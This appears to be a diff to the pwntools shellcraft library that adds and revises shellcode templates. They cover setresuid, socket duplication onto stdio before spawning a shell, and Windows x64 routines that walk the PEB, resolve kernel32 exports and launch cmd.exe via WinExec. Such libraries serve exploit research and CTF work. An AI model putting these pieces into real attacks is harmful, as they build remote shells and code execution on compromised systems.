pwnlib/shellcraft/templates/aarch64/linux/setresuid.asm

@@ -0,0 +1,18 @@
+<% from pwnlib.shellcraft import common %>
+<% from pwnlib.shellcraft.aarch64 import mov, linux %>
+<%page args="ruid=None, euid=None, suid=None"/>
+<%docstring>
+Args: [ruid = geteuid(), euid = ruid, suid = ruid]
+    Sets real, effective and saved user ids to given values
+</%docstring>
+
+%if ruid is None:
+${linux.geteuid()}
+<% ruid = 'x0' %>
+%endif
+<%
+ if euid is None: euid = ruid
+ if suid is None: suid = ruid
+%>
+
+${linux.syscalls.setresuid(ruid, euid, suid)}

pwnlib/shellcraft/templates/aarch64/linux/sleep.asm

@@ -0,0 +1 @@
+../../common/linux/sleep.asm

pwnlib/shellcraft/templates/amd64/freebsd/amd64_to_i386.asm

@@ -0,0 +1,10 @@
+<%docstring>Returns code to switch from amd64 to i386 mode. Trashes eax, ecx, edx.
+
+Note that you most surely want to set up some stack (and place this code)
+in low address space before (or afterwards).</%docstring>
+.code64
+    call $+4
+    .byte 0xc0  /* inc eax */
+    mov byte ptr [rsp+4], 0x33  /* This is the segment we want to go to */
+    retfd
+.code32

pwnlib/shellcraft/templates/amd64/itoa.asm

@@ -35,14 +35,16 @@ assert v in registers.amd64
     ${mov('rdi', buffer)}
     ${mov('rax', v)}
     push rax /* save for later */
+    ${mov('rcx', 10)}
 ${size_loop}:
     ${mov('rdx', 0)}
-    ${mov('rcx', 10)}
     div rcx
-    inc rdi
+    stosb
     test rax, rax
     jnz ${size_loop}
-    dec rdi
+## null terminate
+    std
+    stosb
 ## Now we begin the actual division process
     pop rax
  ${itoa_loop}:
@@ -54,7 +56,4 @@ ${size_loop}:
     dec  rdi
     test rax, rax
     jnz  ${itoa_loop}
-## null terminate
-    ${mov('rdx', 0)}
-    mov  BYTE PTR [rdi], dl
-    inc  rdi
+    cld

pwnlib/shellcraft/templates/amd64/linux/amd64_to_i386.asm

@@ -1,5 +1,4 @@
-<% from pwnlib.shellcraft import common %>
-<%docstring>Returns code to switch from amd64 to i386 mode.
+<%docstring>Returns code to switch from amd64 to i386 mode. Trashes eax, ecx, edx.
 
 Note that you most surely want to set up some stack (and place this code)
 in low address space before (or afterwards).</%docstring>

pwnlib/shellcraft/templates/amd64/linux/dupio.asm

@@ -5,23 +5,12 @@ Args: [sock (imm/reg) = rbp]
     Duplicates sock to stdin, stdout and stderr
 </%docstring>
 <%
-  dup       = common.label("dup")
   looplabel = common.label("loop")
-  after     = common.label("after")
 %>
 
     /* dup() file descriptor ${sock} into stdin/stdout/stderr */
-${dup}:
-    ${amd64.mov('rbp', sock)}
-
-    push 3
+    ${amd64.setregs({'rdi': sock, 'rsi': 2})}
 ${looplabel}:
-    pop rsi
+    ${amd64.linux.dup2('rdi', 'rsi')}
     dec rsi
-    js ${after}
-    push rsi
-
-    ${amd64.linux.syscall('SYS_dup2', 'rbp', 'rsi')}
-
-    jmp ${looplabel}
-${after}:
+    jns ${looplabel}

pwnlib/shellcraft/templates/amd64/linux/dupsh.asm

@@ -7,6 +7,6 @@ Args: [sock (imm/reg) = rbp]
 </%docstring>
 
 
-${linux.dup(sock)}
+${linux.dupio(sock)}
 
 ${linux.sh()}

pwnlib/shellcraft/templates/amd64/linux/migrate_stack.asm

@@ -5,4 +5,4 @@
     ${amd64.linux.mmap_rwx(size)}
     ${amd64.mov('rsp', 'rax')}
 
-    add rsp, ${hex((size * 3 // 4) & ~7)}
+    add rsp, ${'%#x' % ((size * 3 // 4) & ~7)}

pwnlib/shellcraft/templates/amd64/linux/setresuid.asm

@@ -0,0 +1,18 @@
+<% from pwnlib.shellcraft import common %>
+<% from pwnlib.shellcraft.amd64 import mov, linux %>
+<%page args="ruid=None, euid=None, suid=None"/>
+<%docstring>
+Args: [ruid = geteuid(), euid = ruid, suid = ruid]
+    Sets real, effective and saved user ids to given values
+</%docstring>
+
+%if ruid is None:
+${linux.geteuid()}
+<% ruid = 'eax' %>
+%endif
+<%
+ if euid is None: euid = ruid
+ if suid is None: suid = ruid
+%>
+
+${linux.syscalls.setresuid(ruid, euid, suid)}

pwnlib/shellcraft/templates/amd64/linux/sleep.asm

@@ -0,0 +1 @@
+../../common/linux/sleep.asm

pwnlib/shellcraft/templates/amd64/windows/__doc__

@@ -0,0 +1 @@
+Shellcraft module containing Intel x86_64 shellcodes for Windows.

pwnlib/shellcraft/templates/amd64/windows/cmd.asm

@@ -0,0 +1,9 @@
+<%
+    from pwnlib.shellcraft import amd64
+%>
+<%docstring>Execute cmd.exe and keep the parent process
+in an infinite loop.
+</%docstring>
+
+    ${amd64.windows.winexec(b'cmd.exe')}
+    ${amd64.infloop()}

pwnlib/shellcraft/templates/amd64/windows/getexport.asm

@@ -0,0 +1,55 @@
+<%
+    from pwnlib.shellcraft import amd64, pretty
+    from pwnlib.util.packing import u64, _need_bytes
+%>
+<%docstring>Find the address of an exported function in a dll
+by manually iterating through the PE export table.
+
+Args:
+    function_name (str): The name of the function to find.
+    dll(str): The name of the DLL to find the function in.
+    dest (str): The register to load the function address into.
+</%docstring>
+<%page args="function_name,dll='kernel32.dll',dest='rax'"/>
+<%
+function_name = _need_bytes(function_name)
+dll = _need_bytes(dll)
+if len(function_name) > 8:
+    raise ValueError('function_name must be <= 8 bytes')
+assert dll == b'kernel32.dll'
+%>
+    ${amd64.windows.kernel32base('rbx')} /* rbx = kernel32.dll PE base */
+    mov r8d, [rbx + 0x3c]
+    mov rdx, r8
+    add rdx, rbx
+    ${amd64.mov('r9', 0x88)}
+    add rdx, r9
+    mov r8d, [rdx]
+    add r8, rbx /* r8 = export table */
+    mov esi, [r8 + 0x20]
+    add rsi, rbx /* rsi = names table */
+    xor rcx, rcx
+% if len(function_name) <= 8:
+    mov r9, ${pretty(u64(function_name.ljust(8, b'\x00')))}
+% else:
+    ${amd64.pushstr(function_name)}
+    mov r9, rsp
+% endif
+
+    /* Loop through the names table */
+    FindFunction:
+        inc rcx
+        mov eax, [rsi + rcx * 4]
+        add rax, rbx
+        ## TODO: implement strcmp properly for function names > 8 bytes
+        cmp qword ptr [rax], r9
+        jnz FindFunction
+
+    mov esi, [r8 + 0x24]
+    add rsi, rbx /* rsi = ordinals table */
+    mov cx, [rsi + rcx * 2]
+    mov esi, [r8 + 0x1c]
+    add rsi, rbx /* rsi = address table */
+    mov eax, [rsi + rcx * 4]
+    add rax, rbx /* rax = function address */
+    mov ${dest}, rax

pwnlib/shellcraft/templates/amd64/windows/getprocaddress.asm

@@ -0,0 +1,28 @@
+<%
+    from pwnlib.shellcraft import amd64, pretty
+    from pwnlib.util.packing import _need_bytes
+    from pwnlib.util.misc import align
+%>
+<%docstring>Find the address of an exported function
+by calling kernel32::GetProcAddress.
+
+Args:
+    function_name(str): The name of the function to find.
+    dll(str): The name of the DLL to find the function in.
+    dest (str): The register to load the function address into.
+</%docstring>
+<%page args="function_name,dll='kernel32.dll',dest='rax'"/>
+<%
+function_name = _need_bytes(function_name)
+dll = _need_bytes(dll)
+assert dll == b'kernel32.dll'
+%>
+
+    ${amd64.windows.getexport(b'GetProcA', b'kernel32.dll', dest='rdi')}
+    ${amd64.pushstr(function_name)}
+    mov rdx, rsp
+    ${amd64.windows.kernel32base(dest='rcx')}
+    sub rsp, 0x30
+    call rdi
+    add rsp, ${pretty(0x30+align(8, len(function_name)))}
+    mov ${dest}, rax

pwnlib/shellcraft/templates/amd64/windows/kernel32base.asm

@@ -0,0 +1,18 @@
+<% from pwnlib.shellcraft import amd64 %>
+<%docstring>Find the base address of kernel32.dll in memory.
+
+Args:
+    dest (str): The register to load the kernel32.dll base address into.
+</%docstring>
+<%page args="dest='rax'"/>
+## The loaded list of modules always starts with
+## 1. the executable itself
+## 2. ntdll.dll
+## 3. kernel32.dll
+    ${amd64.windows.peb(dest)}
+    mov ${dest}, [${dest} + 0x18] /* PEB->Ldr */
+    mov rsi, [${dest} + 0x20] /* PEB->Ldr.InMemOrder LIST_ENTRY */
+    lodsq
+    xchg rax, rsi
+    lodsq
+    mov ${dest}, [rax + 0x20] /* LDR_DATA_TABLE_ENTRY->DllBase */

pwnlib/shellcraft/templates/amd64/windows/ntdllbase.asm

@@ -0,0 +1,16 @@
+<% from pwnlib.shellcraft import amd64 %>
+<%docstring>Find the base address of ntdll.dll in memory.
+
+Args:
+    dest (str): The register to load the ntdll.dll base address into.
+</%docstring>
+<%page args="dest='rax'"/>
+## The loaded list of modules always starts with:
+## 1. the executable itself
+## 2. ntdll.dll
+## 3. kernel32.dll
+    ${amd64.windows.peb(dest)}
+    mov ${dest}, [${dest} + 0x18] /* PEB->Ldr */
+    mov rsi, [${dest} + 0x20] /* PEB->Ldr.InMemOrder LIST_ENTRY */
+    lodsq
+    mov ${dest}, [rax + 0x20] /* LDR_DATA_TABLE_ENTRY->DllBase */

pwnlib/shellcraft/templates/amd64/windows/peb.asm

@@ -0,0 +1,8 @@
+<% from pwnlib.shellcraft import amd64 %>
+<%docstring>Loads the Process Environment Block (PEB) into the target register.
+
+Args:
+    dest (str): The register to load the PEB into.
+</%docstring>
+<%page args="dest='rax'"/>
+    ${amd64.windows.teb(dest, 0x60)}

pwnlib/shellcraft/templates/amd64/windows/teb.asm

@@ -0,0 +1,21 @@
+<%
+  from pwnlib.log import getLogger
+  from pwnlib.shellcraft import pretty
+  from pwnlib.shellcraft.registers import get_register, is_register
+  log = getLogger('pwnlib.shellcraft.amd64.teb')
+%>
+<%page args="dest='rax', offset=0"/>
+<%docstring>Loads the Thread Environment Block (TEB) into the target register.
+
+Args:
+    dest (str): The register to load the TEB into.
+    offset (int): The offset from the TEB to load.
+</%docstring>
+<%
+if not is_register(dest):
+    log.error('%r is not a register' % dest)
+
+dest = get_register(dest)
+%>
+    xor esi, esi
+    mov ${dest}, qword ptr gs:[rsi+${pretty(offset)}]

pwnlib/shellcraft/templates/amd64/windows/winexec.asm

@@ -0,0 +1,21 @@
+<%
+    from pwnlib.shellcraft import amd64, pretty
+    from pwnlib.util.packing import _need_bytes
+    from pwnlib.util.misc import align
+%>
+<%docstring>Execute a program using WinExec.
+
+Args:
+    cmd (str): The program to execute.
+</%docstring>
+<%page args="cmd"/>
+<%
+cmd = _need_bytes(cmd)
+%>
+
+    ${amd64.windows.getprocaddress(b'WinExec', b'kernel32.dll', 'rsi')}
+    ${amd64.pushstr(cmd)}
+    mov rcx, rsp
+    sub rsp, 0x30
+    call rsi
+    add rsp, ${pretty(0x30+align(8, len(cmd)))}

pwnlib/shellcraft/templates/arm/linux/dupio.asm

@@ -0,0 +1,19 @@
+<% from pwnlib.shellcraft import common %>
+<% from pwnlib.shellcraft.arm import mov %>
+<%page args="sock = 'r6'"/>
+<%docstring>
+Args: [sock (imm/reg) = r6]
+    Duplicates sock to stdin, stdout and stderr
+</%docstring>
+<%
+  looplabel = common.label("loop")
+%>
+    /* dup() file descriptor ${sock} into stdin/stdout/stderr */
+        ${mov('r1', 2)}
+        ${mov('r7', 'SYS_dup2')}
+
+${looplabel}:
+        ${mov('r0', sock)}
+        svc 0
+        subs r1, #1
+        bpl ${looplabel}